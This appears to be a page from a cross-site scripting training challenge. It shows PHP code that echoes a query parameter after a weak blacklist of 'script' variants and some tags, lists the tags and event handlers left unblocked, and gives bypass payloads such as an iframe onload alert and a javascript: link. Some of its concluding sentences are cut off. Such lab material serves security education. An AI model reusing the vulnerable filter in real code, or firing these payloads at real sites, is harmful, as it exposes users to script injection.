Extreme Challenge: Beyond Ultimate Filters
This challenge pushes beyond the limits of conventional filtering! The filter now blocks 12 case variations of 'script' plus 'img', 'image', 'svg', 'audio', 'video', and now 'body' tags.
str_replace(array('script','Script','sCript',...,'body'), '', $_GET['lname'])
Objective: Bypass this extreme filter and execute a JavaScript alert.
Critical Note: Only the Last Name field is filtered and displayed. The First Name field is unfiltered but not used in output.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
$arr = array('script','Script','sCript','scRipt',
'scrIpt','scriPt','scripT','SCript',
'SCRipt','SCRIpt','SCRIPt','SCRIPT',
'img','image','svg','audio','video','body');
$re = str_replace($arr, '', $_GET['lname']);
echo $re;
}
iframe, object, embed, link, meta, base, form, input, button, select, textarea, source, track, canvas, details, summary, marquee, frameset, frame (deprecated), applet (deprecated)onload, onerror, onclick, onmouseover, onfocus, onblur, onchange, onsubmit, onreset, onselect, onabort, oncanplay, oncanplaythrough, ondurationchange, onemptied, onended, onloadeddata, onloadedmetadata, onloadstart, onpause, onplay, onplaying, onprogress, onratechange, onseeked, onseeking, onstalled, onsuspend, ontimeupdate, onvolumechange, onwaiting<iframe onload=alert(1)><a href="javascript:alert(1)">click</a>This filter represents the absolute edge of blacklist filtering:
Successfully bypassing this filter proves:
You've reached the extreme challenge - beyond ultimate! This filter blocks the 'body' element, making it one of the most restrictive blacklists possible.